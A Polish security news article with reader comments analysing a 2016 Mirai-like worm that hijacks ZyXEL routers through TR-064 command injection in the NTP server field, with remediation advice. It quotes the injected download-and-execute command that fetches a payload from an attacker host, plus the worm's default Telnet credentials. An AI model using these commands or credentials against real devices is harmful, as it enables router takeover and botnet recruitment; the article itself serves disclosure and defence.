28.11.2016 | 07:33

Łukasz

Bot podobny do Mirai atakuje rutery nowym błędem – także w Polsce

Botnety zbudowane w oparciu o Internet Rzeczy stają się coraz bardziej popularne i wykorzystują każdą nadarzającą się okazję do przejęcia kolejnych pudełek. Jeden z nich zaatakował wczoraj nowym błędem router naszego Czytelnika.

Otrzymaliśmy wczoraj wiadomość od jednego z naszych Czytelników, którego router padł ofiarą ataku. Czytelnik, zaniepokojony dziwnymi restartami urządzenia dostępowego, po szybkiej analizie jego konfiguracji zauważył że w polu adresu serwera NTP tego routera znalazł się dziwny wpis:

cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2

Wpis oczywiście bardzo mocno sugeruje, że zawartość pola adresu serwera NTP umożliwia wykonanie poleceń powłoki. Zacznijmy jednak od początku, ponieważ do skutecznego ataku potrzebne były dwa błędy.

Protokół TR-064

Modemy, które otrzymujemy od naszych dostawców usług internetowych, muszą być przez nich jakoś zarządzane. W tym celu powstał zestaw protokołów, które umożliwiają kontrolę nad modemem czy też routerem. Protokoły i porty im odpowiadające powinny być dostępne tylko ze specjalnie przygotowanej do tego celu sieci służącej do zarządzania. Dzięki temu nikt poza naszym ISP nie jest w stanie wydawać poleceń naszemu modemowi, a dostawca internetu wciąż utrzymuje nad nimi pewną kontrolę konieczną do rozwiązania pojawiających się problemów, czy też w celu łatwej zmiany parametrów połączenia w przypadku aktualizacji infrastruktury. Jednym z takich protokołów jest TR-064, zwany też LAN-Side DSL CPE Configuration, czyli konfiguracja urządzenia klienckiego DSL po stronie sieci wewnętrznej. Dla tych z was, którzy nie muszą na co dzień posługiwać się setką skrótów stosowanych przez dostawców internetowych tłumaczymy, że CPE (customer-premises equipment) to po prostu urządzenie, które znajduje się u klienta, a DSL (digital subscriber line) to po prostu cyberlinia abonencka. Specyfikacja TR-064 jest dostępna do pobrania i znajduje się pod tym linkiem.

Czasami zdarza się, że dostawca internetu bądź producent modemu zapomni ograniczyć dostęp do serwera TR-064. Oznacza to, że każdy internauta może wysłać polecenia konfiguracyjne do naszego urządzenia i zmienić nam ustawienia, chociażby serwera DNS lub NTP. Oczywiście może to spowodować dosyć znaczne problemy – zmiana serwera DNS może spowodować, że wchodząc na stronę bankowości elektronicznej tak naprawdę znajdziemy się na stronie kontrolowanej przez przestępców. Możliwość zmiany serwera NTP nie wydaje się specjalnie poważna, chyba, że ktoś chciałby, żebyśmy nasz modem się spóźnił na ważne spotkanie. Inaczej jednak jest w przypadku sprzętu firmy ZyXEL. Niektóre modele, jak na przykład dostarczany przez irlandzkiego ISP D100, oprócz nieograniczonego dostępu do serwera TR-064 pozwalają także na wykonanie komendy na modemie przez podanie jej jako adresu serwera NTP. Świadczy to nie tylko o błędzie programistycznym polegającym na braku odpowiedniego sprawdzenia adresu serwera NTP. Adres ten, nawet jeśli się zakłada że jest podawany przez dostawcę usług internetowych, któremu z założenia ufamy, powinien przejść bardzo podstawowe testy stwierdzające chociażby czy nie ma w nim spacji. Tak się jednak nie dzieje w tym przypadku. W konsekwencji, cokolwiek zostanie wprowadzone do pola adresu serwera NTP zostanie również wykonane w linii poleceń. Potwierdziliśmy, że nasz czytelnik korzystał z urządzenia firmy ZyXEL i miał podatną wersję firmware.

Niestandardowe wykorzystanie protokołu TR-064 do wykonania komendy na sprzęcie ZyXEL zostało opisane na początku listopada i niedługo później pojawił się odpowiedni moduł do Metasploita, który pozwalał nawet niezbyt biegłym użytkownikom internetu wykorzystać tę podatność. Jeden z atakujących zamienił go w zwykłego sieciowego robaka.

Jak wygląda atak?

Protokół TR-064 jest oparty o HTTP oraz SOAP (brrr!) i używa, w przypadku analizowanych urządzeń ZyXEL, portu TCP/7547. Oznacza to, że wykorzystanie luki sprowadza się do wysłania odpowiedniego żądania POST na ten port. Atakujący przygotował trzy różne pliki binarne (nazwane przemyślnie 1, 2 oraz 3), które są pobrane i uruchamiane z wykorzystaniem tej podatności. Jak widać są one przygotowane pod trzy różne architektury:

1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

Cyberlaboratorium Zaufanej Trzeciej Strony podjęło się analizy wersji na systemy ARM. To złośliwe oprogramowanie jest robakiem sieciowym, który po infekcji zaczyna się rozprzestrzeniać na inne urządzenia, znowu wykorzystując podatność w modemie oraz protokół TR-064. Jest też zaimplementowana inna metoda infekcji. Polega ona na logowaniu się za pomocą protokołu Telnet na urządzenia z wykorzystaniem trzech różnych par nazwy użytkownika oraz hasła:

root     xc3511
root     vizxv
root     admin

Wszystkie te pary są zaciemnione (bądź też „zaszyfrowane”) w kodzie robaka za pomocą dokładnie tego samego algorytmu, który znajduje się w popularnym botnecie Mirai. Co więcej, serwer zarządzający botnetem (C&C) znajduje się pod adresem timeserver.host, który to adres znajduje się na liście Mirai tracker. Dodatkowo, robak skanuje adresy IP w tej samej pseudolosowej kolejności w jakiej robi to Mirai. W obu rodzajach złośliwego oprogramowania odpowiada za to ten sam kod. Kod źródłowy botnetu Mirai jest od pewnego czasu dostępny na serwisie GitHub, można zatem domniemać, że autor sobie „pożyczył” jego część i połączył z opublikowaną podatnością, aby uzyskać podobny do Mirai efekt.

Analizowane złośliwe oprogramowanie jest bardzo kulturalne, ponieważ zamyka po sobie drzwi. Oznacza to, że wykonuje następujące komendy, które, przynajmniej do czasu restartu bądź przywrócenia urządzenia do ustawień fabrycznych, powinny załatać wspomnianą podatność oraz „zabezpieczyć” protokół Telnet:

busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP
busybox killall -9 telnetd

Pierwsze polecenie po prostu odcina dostęp do portu TCP/7547 dla wszystkich (włączając dostawcę usług internetowych), a drugie zakańcza wszystkie uruchomione procesy serwera protokołu telnet. Mimo, że to „załatanie” jest dosyć agresywne, z pewnością jest skuteczne i uniemożliwi konkurentom przejęcie kontroli nad urządzeniem. Oczywiście, uniemożliwia to także zdalne usunięcie infekcji przez dostawcę usług.

Skala problemu w Polsce

Shodan twierdzi, że urządzeń z otwartym portem 7547 i usługą  RomPager widział w Polsce ponad 65 tysięcy. Wartość ta może być znacznie zawyżona (dynamiczna adresacja, stare wyniki itp.), jednak nadal jest dosyć spora. Nie oznacza to, że wszystkie te urządzenia są podatne na powyżej opisany atak. Aby skutecznie zaatakować routery, wymagane jest występowania dwóch błędów naraz – dostępności protokołu TR-064 oraz drugiego błędu, który umożliwi wykonanie kodu. Warto pamiętać, że nie za wszystkie przypadki podatności odpowiadają dostawcy internetu – wielu użytkowników kupuje swoje własne routery i zapomina o aktualizowaniu ich oprogramowania.

rompager

Warto zauważyć, że zmiana opublikowanej podatności w dosyć skutecznego robaka sieciowego zajęła cyberprzestępcom tylko trochę ponad dwa tygodnie. Jest to dosyć szybkie i niepokojące zachowanie. Aby ustrzec się przed podobnymi atakami zalecamy aktualizację oprogramowania modemu, ponieważ istnieje dużo nowsza wersja, którą można zainstalować, jak i sprawdzenie czy port TCP/7547 (bądź inne dziwne porty) jest dostępny z zewnątrz. W przypadku gdy modem został nam dostarczony przed dostawcę internetu zalecamy kontakt z infolinią tak uporczywy, aż w końcu modem zostanie zaktualizowany bądź wymieniony.

Dla zainteresowanych przeprowadzeniem własnej analizy podajemy skróty sha256 próbek:

5fc86972492cd901ea89bd86fbdebd307c3f1d2afa50db955a9594da000d0b38 1
8537f9de4ea6662c22b631c90d647b79e448026327e572b90ec4d1a9f2aa2a50 2
ace9c1fe40f308a2871114da0d0d2f46965add1bda9c4bad62de5320b77e8a73 3
Powrót

Komentarze

  • 2016.11.28 07:48 ok

    Dzięki! Więcej!

    Odpowiedz
  • 2016.11.28 08:21 Tomasz

    A jak ma się sprawa z ogromną ilością routerów livebox? Stare wersje miały odblokowany dostęp do telnetu o czym nie było mowy w dokumentacji.

    Odpowiedz
    • 2016.11.28 08:43 Lol

      Przeczytałeś artykuł? Zrób to jeszcze raz i nie zadawaj głupih pytań.

      Jak jednak nie znajdziesz po drugim razie to hint dla Ciebie „Jest też zaimplementowana inna metoda infekcji. Polega ona na logowaniu się za pomocą protokołu Telnet na urządzenia z wykorzystaniem trzech różnych par nazwy użytkownika oraz hasła:”

      Odpowiedz
  • 2016.11.28 08:57 damian

    widzę że polubiliście cyberowanie :D

    Odpowiedz
  • 2016.11.28 09:19 Michał

    Czy w takim układzie jak mam funboxa to mam się czego obawiać?

    Odpowiedz
  • 2016.11.28 09:27 żuber

    a jak się przed tym obronić?

    Odpowiedz
    • 2016.11.28 11:28 rz

      Zabronić ruterów!

      Odpowiedz
  • 2016.11.28 10:32 jarek

    Czy atak może być skuteczny również na routery Asusa? Miałem przypadek, że od około tygodnia znajomemu co najmniej dwa razy na dobę router sam się restartował, a sam sprzęt działał bez zarzutów i zmian konfiguracji od kilku lat. Po wgraniu Tomato (dotychczas miał oficjalny soft, zaktualizowany do najnowszej wersji, ale nie wersja beta) wszystko się uspokoiło, a teraz ta informacja o restartach dała mi trochę do myślenia – tak dokładnie konfiguracji nie przeglądałem, a logi po każdym restarcie były czyszczone z automatu…

    Odpowiedz
    • 2016.11.28 14:51 ChińczykTomasz

      nie może ponieważ Chińczycy nie atakują swoich to patrioci !
      Wiem bo sam jestem chińczykiem

      Odpowiedz
    • 2016.11.29 00:50 Przemko

      Zmień zasilacz, restarty ustaną.

      Odpowiedz
      • 2016.11.30 14:08 Monter

        Wymień też kondensatory w sekcji zasilania na płycie routera – pewnie są już wyschnięte.

        Odpowiedz
  • 2016.11.28 12:25 mokro_w_gaciach

    FAK. przez caly lykend moj modem od upc wariowal. Co prawda to compal a nie zyxel, ale dokładnie tak jak pisał Wasz czytelnik, restartował się na okrągło. Qrczaki a ja w banku siedzialem wczoraj wieczorem…

    Odpowiedz
  • 2016.11.28 13:05 Beniamin

    W opisie ataku brakuje mi jednak kilku informacji i nie do końca rozumiem jak on przebiega. Przecież otwarty port na urządzeniu 7547 (dla innych CPE inne porty) służy wyłącznie do odebrania polecenia ConnectionRequest. Przy założeniu, że jest tutaj luka i:
    – connectionRequestUsername i connectionRequestPassword są banalne, oraz
    – connectionRequestURL nie zawiera złożonego tokenu tylko łyka wszystko
    to wykonując połączenie można co najwyżej zachęcić urządzenie do kontaktu z ACSem operatora w celu pobrania konfiguracji. Wszelkie zmiany (SetParameter) przesyłane są w odpowiedzi HTTP w ramach sesji CWMP. A więc to urządzenie (zachęcone ConnectionRequestem) zgłasza się do dobrze znanego serwera (tam musi uwierzytelnić) i dopiero można coś napsocić podszywając się pod serwer.

    Powyższy opis w artykule nie świadczy o tym, by tak atak wyglądał. W jaki więc sposób dane są wstrzykiwane do urządzenia?

    Odpowiedz
    • 2016.11.28 16:05 Adam

      Mówisz o TR-069 który działa tak jak opisałeś. na tym samym porcie jednak słucha także TR-064 który udostępnia kilka trików, w tym ustawienie serwera NTP bez uwierzytelnienia.

      Odpowiedz
      • 2016.11.28 22:55 Beniamin

        Faktycznie nie mam praktycznego doświadczenia z tr-064, chętnie doczytam. Po pobieżnej lekturze TR miałem wrażenie, że co do zasady schemat komunikacji jest zgodny. Dzięki za naprowadzenie.

        Odpowiedz
  • 2016.11.28 14:20 Korsarz

    Z dostawcami netu to się można boksować latami. Zwłaszcza jak nie ma konkurencji kablowej w okolicy. Pomijając, że połączenie odbierają po godzinie (albo w ogóle), to zmiana ustawień czy update softu jest często niewykonalna (bo nie umieją obsłużyć własnych urządzeń).

    Odpowiedz
  • 2016.11.28 14:58 dzielnik

    Ten atak dzieli nasze społeczeństwo!
    Na tych którzy mają podatne routery i na tych którzy są bezpieczni :D

    A na poważnie: OpenWRT lub zawsze oddzielnie: modem + i za nim dopiero PPoE/A itp. firewall (np. pfsense).

    Odpowiedz
  • 2016.11.28 16:24 dominika

    i niby po co embeded routerkom wget, chyba tylko żeby się dłużej włączały i wygodniej było się włamywać

    Odpowiedz
  • 2016.12.02 05:13 i did not understand

    @dominika – rozwiń myśl bo w skojarzeniu z postem https://zaufanatrzeciastrona.pl/post/bot-podobny-do-mirai-atakuje-rutery-nowym-bledem-takze-polsce/#comment-48694 zachodzi (być może nieumyślnie) pewna niebanalna sugestia…no właśnie – zależy co miałaś(eś) na myśli ;)

    Odpowiedz
  • 2016.12.02 05:24 i did not understand

    @dominika – rozwiń myśl, bo przyznam szczerze w zestawieniu z ostatnim, poprzedzającym postem @dzielnik, Twoje stwierdzenie zabrzmiało co najmniej dwuznacznie.

    Odpowiedz
  • 2016.12.02 17:32 fdfd

    ale skroty juz nie sa podpisane waszym kluczem?
    wtf

    Odpowiedz
  • 2016.12.04 23:55 Robert

    A może ktoś napisać jakie modele Zyxela są podatne?
    Właśnie co dostałem od Orange Zyxel VMG8324-B10A do DSL’a – nie udostępnia on dostępu admina i widze w dokumentacji że posiada TR-064 ale bez admina go nie wyłączę. Fajnie, przygotowali mi problemik na następny tydzień?
    A co do botnetów to testowali je już na początku roku, u jednego z moich klientów systematycznie restartował się router Siemensa Speedstream 4100 na starym DSLu. Niby był jako bridge ale coś mu dolegało. Wymieniliśmy na Cellpipe. Parę miesięcy później wpadł mi w ręce drugi taki sam, i miałem dziwne wpisy w logach z azjatyckich IP i zdaje się nawet że z WAN był dostępny Telnet(Już nie pamiętam bo szybko wyleciał) Mam wrażenie że restarty tego pierwszego nie były związane ze starzejącą się elektroniką tylko zauważyłem że nieprawidłowe komendy resetowały router.

    Odpowiedz
    • 2016.12.09 10:05 Robert

      Próbowałem pomacać nmapem router od zewnątrz i jest głuchy. Być może Orange zablokowało dostęp tylko do puli swoich hostów.
      Oby

      Odpowiedz

Zostaw odpowiedź do Robert

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Bot podobny do Mirai atakuje rutery nowym błędem – także w Polsce

Komentarze